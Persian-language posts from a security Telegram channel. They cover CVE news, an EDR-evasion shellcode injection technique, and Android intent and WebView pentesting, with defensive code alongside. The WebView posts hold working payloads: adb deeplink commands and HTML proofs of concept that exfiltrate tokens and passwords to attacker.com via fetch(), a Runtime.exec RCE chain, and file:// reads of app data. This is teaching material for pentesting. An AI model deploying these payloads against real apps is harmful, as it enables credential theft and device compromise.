⭕️آسیب پذیری جدید بانام Dirty Frag  که هنوز patch‌ نشده و امکان Local Privilege Escalation (LPE) تا سطح root را فراهم می‌کند.
این آسیب‌پذیری روی توزیع‌هایی مثل Ubuntu، RHEL و Fedora تأثیر دارد و نکته خطرناک اینجاست که PoC عمومی آن هم منتشر شده است.
مشکل از corruption در page cache و مدیریت fragment ها داخل kernel است که باعث می‌شود مهاجم از user عادی به root برسد. exploit فعلی بسیار ساده و پایدار گزارش شده و حتی با یک command هم می‌تواند root shell بدهد.
فعلاً patch رسمی منتشر نشده و همین موضوع ریسک را بالا برده است؛ چون هر مهاجمی که یک foothold کوچک روی سیستم داشته باشد، می‌تواند سریع کل سیستم را takeover کند.
برخی mitigation های موقت مثل غیرفعال‌کردن esp4، esp6 و rxrpc پیشنهاد شده‌اند.

Exploit

@securation

⭕️یک‌آسیب‌پذیری جدید در سرویس‌های NginX با شناسهٔ CVE-2026-42945، اکیداً توصیه می‌کنیم در اسرع وقت، NginX نصب‌شده روی سرور(های) خود را به آخرین نسخه به‌روزرسانی کنید.

این آسیب‌پذیری با درجه‌بندی ۹.۲، نیازمند به‌روزرسانی فوری است و به مهاجمان این امکان را می‌دهد که کدهای مخرب را روی سرور اجرا کنند یا مانع از عملکرد صحیح سرور شوند.

طبق اعلام توسعه‌دهندگان پروژه، کاربران می‌بایست آخرین به‌روزرسانی‌های NginX را نصب کنند.

نمونهٔ آسیب‌پذیری:

rewrite ^/users/([0-9]+)/(.*)$ /index.php?id=$1&tab=$2 last;

در صورتی که امکان به‌روزرسانی برای شما وجود ندارد، توصیه می‌شود در تنظیمات بازنویسی آدرس‌ها (Rewrite)، به جای استفاده از Unnamed Captures از Named Captures استفاده کنید.

https://nvd.nist.gov/vuln/detail/CVE-2026-42945

@securation

⭕️ اخیراً یک Proof-of-Concept جالب برای تزریق و اجرای شل‌کد با بهره‌گیری از Thread Pool Timer API در معماری ویندوز مورد بررسی قرار گرفت. این تکنیک به منظور دور زدن مکانیسم‌های تشخیص رفتاری سیستم‌های EDR/AV طراحی شده است.
معماری تکنیک:
مرحله اول: تزریق DLL به فضای آدرس پروسه هدف از طریق Classic DLL Injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread + LoadLibraryW)
مرحله دوم: تخصیص حافظه با دسترسی RW در پروسه هدف و کپی شل‌کد
مرحله سوم: ایجاد Thread Pool Timer با CreateThreadpoolTimer و زمان‌بندی اجرا با SetThreadpoolTimer
مرحله چهارم: تغییر Memory Protection به RX با VirtualProtect و اجرای شل‌کد در Callback تایمر
مزیت کلیدی:
به جای استفاده مستقیم از CreateRemoteThread برای اجرای شل‌کد (که به شدت توسط EDR/AV مانیتور می‌شود)، این روش از Thread Pool Worker سیستم‌عامل برای اجرای غیرهمزمان کد بهره می‌برد. این امر باعث کاهش چشمگیر Suspicious Thread Creation Events و دور زدن Heuristic Analysis می‌شود.


#RedTeam #MalDev #Evasion
@securation

⭕️ پنتست کامپوننت اپ های اندرویدی پارت اول - اینتنت اینجکشن (Intent Injection)

وقتی که یک Activity مقدار exported آن true باشد بدین معناست که تمام برنامه های نصب شده روی دستگاه شما و همچنین adb shell میتواند آنرا اجرا کند
نکته فنی اینکه اگر که دستگاه شما روت باشد با adb shell میتوانید تمام Activity هارا لانچ کنید فارغ ازینکه exported باشد یا non exported

#intent without extras
adb shell am start -n "com.package.name/.TargetActivity"

#intent with extras
adb shell am start -n "com.package.name/.TargetActivity" --es Name "Ali" --ei Age 18 --ez isAdmin true

#intent with custom category + deeplink
adb shell am start -n "com.package.name/.TargetActivity"\
  -a android.intent.action.VIEW \
  -c android.intent.category.DEFAULT \
  -c android.intent.category.BROWSABLE \
  -d "myapp://com.package.name/Access/HiddenSettings"

شما برای پنتست اینتنت ها ابتدا لازم است که اینتنت هایی که مقدار exported برابر true هست پیدا کنید اگر یک اکتیویتی به جز اکتیویتی Main مقدار exported آن برابر true باشد به عنوان یک مشکل امنیتی بالقوه به حساب می آید!

اگر اکتیویتی دیگری به جز Main را بنابه دلایلی ناچار شدید مقدار exported آنرا true کنید باید حتما داخل آن اکتیویتی چک شود که اینتنت این اکتیویتی به واسطه اکتیویتی دیگری از خود برنامه لانچ شده است یا مستقیما به واسطه adb shell یا دیگر برنامه های نصب شده روی سیستم عامل؛ در صورت لانچ شدن آن به واسطه اپ های دیگر یا adb shell باید جلوی اجرای برنامه گرفته شود یا به کرش منجر شود یا به یک اینتنت دیگر مثل صفحه لاگین ریدایرکت شود در غیر اینصورت برنامه ما دارای یک مشکل امنیتی بالقوه است!
مثال عملی:

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    // بررسی اینکه Intent از کجا آمده
    if (isIntentFromExternalApp()) {
        finish(); // بستن Activity
        return;
    }

    setContentView(R.layout.activity_sensitive);
}

private boolean isIntentFromExternalApp() {
    String callingPackage = getCallingPackage();
    
    if (callingPackage == null) {
        // یعنی با adb یا مستقیما از لانچر باز شده
        return true;
    }

    // بررسی اینکه صداکننده خود برنامه است یا یک اپ اندرویدی دیگر
    return !callingPackage.equals(getPackageName());
}

متود getCallingPackage() نام پکیج اپلیکیشنی را برمی‌گرداند که این Intent را فرستاده.
· اگر null بود → یعنی از adb یا لانچر بیرون از برنامه صدا زده شده.
· اگر برابر با getPackageName() نبود → یعنی از اپ دیگر آمده.
@securation
#Android #RE #Owasp #Mastg #Intent

⭕️ فراخوانی یک اکتیویتی exported به واسطه یک اپ مهاجم به شکل زیر است(خارج از adb shell به صورت یک اپ مجزا)

Manifest.xml

<activity android:name=".AttackerActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>

و در کد به شکل زیر فراخوانی انجام میشود

Intent intent = new Intent("android.intent.action.MAIN");
intent.setComponent(new ComponentName("com.target.app", "com.target.app.SecretActivity"));
//intent.putExtra("password","123")
startActivity(intent);

@securation
#Android #RE #Owasp #Mastg #Intent

⭕️ در ذیل ابزار هایی که در طول پنتست کامپوننت های اندرویدی به کارتان می آید لیست شده است
1) Drozer
https://github.com/WithSecureLabs/drozer

2) Apk Component Inspector
https://github.com/thecybersandeep/apk-components-inspector

3) Noxen
https://github.com/frankheat/noxen

@securation

⭕️هشدار سایبری:
بمب‌های ساعتی در دستگاه‌های شما پس از رفع محدودیت اینترنت

بعد از حدود سه ماه محدودیت و قطعی، اتصال مجدد به اینترنت نباید با وب‌گردی، تست سرعت یا چک کردن شبکه‌های اجتماعی آغاز شود. دستگاه‌های ما اکنون به دو دلیل عمده به‌شدت آسیب‌پذیرند: تلنبار شدن آپدیت‌های امنیتی و نصب اجباری ابزارهای ناشناس برای دور زدن فیلترینگ.

پیش از هر کاری، این چند اقدام حیاتی را انجام دهید:

--پاکسازی مسیرهای نفوذ (VPN و Certificateها)
فیلترشکن‌های متفرقه، کانفیگ‌های تلگرامی، فایل‌های APK ناشناس، DNSهای کاستوم و به‌ویژه گواهی‌های امنیتی (Certificates) که در این مدت نصب کرده‌اید را فوراً حذف کنید. این موارد اصلی‌ترین بستر برای حملات «مرد میانی» (MitM) و سرقت اطلاعات هستند.

--دیوایسهای خانگی را حتما آپدیت کنید.

--مودم و روترهای خانگی حتما آپدیت گردد.


-- اعمال وصله‌های امنیتیِ تلنبار شده
طی این چند ماه، ده‌ها آسیب‌پذیری حیاتی (Zero-Day) در دنیا کشف شده است. پیش از ورود به اکانت‌های حساس، سیستم‌عامل، آنتی‌ویروس و مخصوصاً مرورگرهای خود را به‌روزرسانی کنید.

-- چرخش رمزهای عبور
اگر در این مدت با ابزارهای ناشناس به اینترنت وصل شده‌اید، فرض را بر نشت اطلاعات بگذارید. رمز عبور ایمیل‌ها، شبکه‌های اجتماعی و پلتفرم‌های مالی را تغییر دهید و احراز هویت دو مرحله‌ای (2FA) را چک کنید.

--مراقبت در برابر موج جدید فیشینگ
منتظر سیل پیام‌های فریبنده با عناوین جذاب (مانند “دانلود فیلترشکن دائمی” یا “اینترنت هدیه جبرانی”) باشید. روی هیچ لینک ناشناسی کلیک نکنید.

بهای قطعی اینترنت، نباید با به سرقت رفتن هویت دیجیتال و دارایی‌های شما پرداخت شود. هیجانِ اتصال مجدد را فدای امنیت خود نکنید.

@securation

⭕️ آسیب‌پذیری بحرانی BadHost با شناسه CVE-2026-48710، فریمورک Starlette را هدف قرار داده و میلیون‌ها سرور هوش مصنوعی و اپلیکیشن مبتنی بر FastAPI استفاده می‌کنند را مورد تهدید جدی قرار داده است.
آسیب پذیری Authentication Bypass ناشی از عدم اعتبارسنجی هدر HTTP Host است که به مهاجم اجازه می‌دهد با تزریق کاراکترهای خاص، کنترل‌های دسترسی مسیر Path-based Authorization را دور زده و به داده‌های حساس دسترسی پیدا کند.

@securation

⭕️ پنتست کامپوننت اپ های اندرویدی پارت دوم - وب ویو (Insecure WebView)

آسیب پذیری های رایج وب ویو به شرح زیر است

1) setJavaScriptEnabled(true)

فعال شدن جاوااسکریپت = راه ورود XSS. مهاجم می‌تونه اسکریپت مخرب تزریق کنه و توکن یا اطلاعات کاربر رو بدزده.

# تزریق مستقیم javascript در WebView
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert('XSS')"

# تزریق از طریق دیپ لینک با payload
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://webview?url=javascript:document.location='http://attacker.com/steal?c='document.cookie"

2) setAllowUniversalAccessFromFileUrls(true)

اجازه میده فایل‌های HTML به همه فایل‌ scheme ها و محتوای هر origin دیگه ای دسترسی داشته باشن (دیسیبل شدن SOP). مهاجم می‌تونه فایل‌های دیتابیس و SharedPreferences رو بخونه.

# خواندن فایل SharedPreferences
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/shared_prefs/config.xml"

# خواندن دیتابیس اپ
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/databases/app.db"

3) addJavascriptInterface

بسیار خطرناک! مهاجم می‌تونه از طریق JS، متدهای کلاس متصل شده رو فراخوانی کنه و به کد native دسترسی پیدا کنه → RCE کامل روی دستگاه.

# تست وجود interface با alert
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert(Object.keys(window))"

# اگر interface با نام "bridge" وجود داشت، اجرای فرمان
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getClass().forName('java.lang.Runtime').getMethod('exec','java.lang.String[]').invoke(null,['su','-c','id'])"

#فراخوانی یک متد از کلاس جاوا و نشت توکن کاربر(تنها در صورتی که متد در کلاس جاوا تعریف شده باشد)
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getUserToken()"

4) setAllowContentAccess(true)

اجازه دسترسی به Content Provider ها از طریق content://، مهاجم می‌تونه دیتابیس‌های داخلی، مخاطبین، یا فایل‌های حساس اپ رو بدزده.

# دسترسی به دیتابیس اپ از طریق Content Provider
adb shell am start -n com.target.app/.WebViewActivity -d "content://com.target.app.provider/users"

# دسترسی به مخاطبین دستگاه (اگر Permission داشته باشه)
adb shell am start -n com.target.app/.WebViewActivity -d "content://contacts/phones/"

5) لود URL از ورودی کاربر

اگر loadUrl() مقدارش از Intent، دیپ لینک یا هر ورودی خارجی بیاد، مهاجم می‌تونه حملات زیر رو ترتیب بده:

Scheme           | حمله                               
-----------------+------------------------------------
`javascript://`  | XSS                                
`file://`        | خواندن فایل                        
`intent://`      | ریدایرکت به اکتیویتی غیراکسپورت شده
`data:text/html` | XSS مستقیم                         

# تست javascript scheme
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=javascript:alert('xss')"

# تست file scheme برای خواندن فایل
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/token.xml"

# تست intent scheme برای ردایرکت به Activity غیر اکسپورت شده
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=intent:#Intent;component=com.target.app/.PrivateActivity;end"

# تست data:text/html برای XSS مستقیم
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=data:text/html,<script>alert('XSS')</script>"

📌 نکته مهم

وب ویویی که exported نباشد، فقط لانچ مستقیم را مسدود می‌کند. اگر اپ از طریق deeplink، Notification، Broadcast، یا Content Provider به WebView برسد، همه آسیب‌پذیری‌ها همچنان قابل بهره‌برداری هستند.

پس در پنتست:

• اول مسیرهای رسیدن به WebView را پیدا کنید! (deeplink، Broadcast، Content Provider)
• بعد آن مسیرها را برای ارسال payloadهای مخرب تست کن

✅ چک‌لیست پنتست:

• مسیرهای رسیدن به WebView رو پیدا کن (deeplink، Broadcast، Content Provider)
• تست XSS با javascript:alert()
• تست خواندن فایل با file:///data/data/...
• تست JavaScript Interface با Object.keys(window)
• تست Content Provider با content://...

@securation
#Android #RE #Owasp #Mastg #webview

⭕️ در زیر یک تکه کد آسیب‌پذیر آورده شده است:

WebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("url"));

کد اکسپلویت کامل

<!DOCTYPE html>
<html>
<head>
    <title>POC - WebView addJavascriptInterface</title>
</head>
<body>
    <h2> Exploiting addJavascriptInterface</h2>
    <div id="result"></div>
    
    <script>
        // مرحله 1: سرقت دیتا از متدهای exposed
        try {
            var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
            for (var method of methods) {
                try {
                    var data = window.Android[method]();
                    if (data) {
                        document.getElementById('result').innerHTML += 
                            '<p>Stolen: ' + method + ' = ' + data + '</p>';
                        fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
                    }
                } catch(e) {}
            }
        } catch(e) {}
        
        // مرحله 2: RCE (فقط در صورتی که getContext در کلاس جاوا تعریف شده باشه)
        try {
            var context = window.Android.getContext();
            var classLoader = context.getClassLoader();
            var Runtime = classLoader.loadClass('java.lang.Runtime')
                .getMethod('getRuntime', null)
                .invoke(null, null);
            Runtime.exec(['su', '-c', 'id']);
            document.getElementById('result').innerHTML += '<p> RCE Successful!</p>';
        } catch(e) {
            document.getElementById('result').innerHTML += 
                '<p> RCE not possible (no chain method)</p>';
        }
    </script>
</body>
</html>

نسخه ساده‌تر (سرقت دیتا از متود های اکسپوزد)

<!DOCTYPE html>
<html>
<head>
    <title>POC</title>
</head>
<body>
    <script>
        // سرقت دیتای هر متدی که در کلاس جاوا وجود داره
        var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
        
        for (var method of methods) {
            try {
                var data = window.Android[method]();
                if (data) {
                    fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
                    alert('Stolen: ' + data);
                }
            } catch(e) {}
        }
    </script>
</body>
</html>

نکته: این POC فرض می‌کنه که متدهایی مثل getUserToken() یا getPassword() در کلاس جاوا وجود دارن.

نکته مهم تر! اینکه برای رسیدن به RCE کامل به واسطه رفلکشن در اندروید های بالاتر از 4.2+ امکان پذیر نیست مگر اینکه در کلاس جاوا فانکشنی توسط برنامه نویس تعریف شده باشد که Context آن اکتیویتی را ریترن کند!!

برای مطالعه بیشتر: Owasp MASTG

@securation
#Android #RE #Owasp #Mastg #webview

دوستان عزیز گروه تبادل دانش امنیت اطلاعات فعال است:

https://t.me/DarkPwners

⭕️ خبر جنجالی این چند روزه مربوط به دعوای مایکروسافت با یه محقق امنیتی که چندتا آسیب‌پذیری خطرناک ویندوز رو عمومی منتشر کرده بود و بعدش GitHub اکانت هکر رو بست.
داستان فقط بستن اکانت نیست؛ طرف میگه مایکروسافت عملاً زندگیشو خراب کرده چون نه توی برنامه bug bounty حمایتی دیده، نه گزارش‌هاش جدی گرفته شده و حالا هم دسترسیش قطع شده.


چیزی که ماجرا رو حساس کرده اینه که این محقق امنیتی برخلاف روال معمول،مستقیم جزئیات آسیب پذیری رو منتشر کرده،یعنی منتظر اصلاح مشکل از سمت مایکروسافت نمونده.
همین باعث شده الان بحث اصلی این باشه که آیا مایکروسافت حق داشته برای جلوگیری از پخش شدن این ابزارها اکانتشو ببنده، یا چون GitHub مال خود مایکروسافته، از قدرتش برای ساکت کردن منتقد استفاده کرده.

به نظرم این اتفاق یه تصویر جالب از دنیای امنیت امروز نشون میده. از یه طرف شرکت‌ها می‌ترسن آسیب‌پذیری‌ها عمومی بشن و سریع مورد سوءاستفاده قرار بگیرن، از اون طرف پژوهشگرها میگن وقتی شرکت‌ها همکاری نمی‌کنند، انتشار عمومی تنها راه فشار آوردنه.

البته این وسط گیت هاب اکانت خیلی از دوستان ایرانی رو هم بن کرد دستش درد نکنه البته احتمالا بخاطر استفاده از SNI Spoofing این اتفاق افتاد ولی شماها دیگ اینکارارو نکنین که بن میشید !

https://www.tomshardware.com/tech-industry/cyber-security/microsofts-github-bans-securitjy-researcher-who-posted-zero-day-windows-exploits-because-company-ruined-their-life-expert-claims-action-is-vindictive-and-promises-further-retaliation


بلاگ رسمی هکر:

https://deadeclipse666.blogspot.com
https://blog.barracuda.com/2026/05/19/nightmare-eclipse-zero-days-grudge
@securation

⭕️ در تحلیل آسیب‌پذیری بحرانی CVE-2026-20182 در پشته شبکه Cisco Catalyst SD-WAN، یک نقص منطقی (Logic Bug) قابل توجه در تابع vbond_proc_challenge_ack شناسایی شد .
این حفره امنیتی در لایه DTLS (پورت ۱۲۳۶) و سرویس vdaemon واقع شده است؛ جایی که برخلاف سایر تجهیزات مانند vSmart یا vEdge، برای دستگاه‌های نوع ۲ یعنی vHub، هیچ مکانیزم راستی‌آزمایی (Verification) تعریف نشده است.
به محض دریافت پیام CHALLENGE_ACK با هویت جعلی، فلگ peer->authenticated بدون هیچ‌گونه بررسی گواهی یا امضای سخت‌افزاری روی True تنظیم می‌شود،به واسطه این نقص در فرآیند احراز هویت، مهاجم می‌تواند از طریق پیام نوع ۱۴، کلید خود را مستقیماً به فایل authorized_keys کاربر سطح بالای vmanage-admin تزریق کرده و دسترسی دائمی برای اجرای دستورات NETCONF روی پورت ۸۳۰ به دست آورد .
با توجه به اینکه هیچ راهکار موقتی (Workaround) برای این نقص وجود ندارد، ارتقای فوری به نسخه‌های اصلاح‌شده جهت جلوگیری از نفوذ کامل به زیرساخت توصیه می‌شود .

#RedTeam #Cisco #vulnerability_Analysis
@securation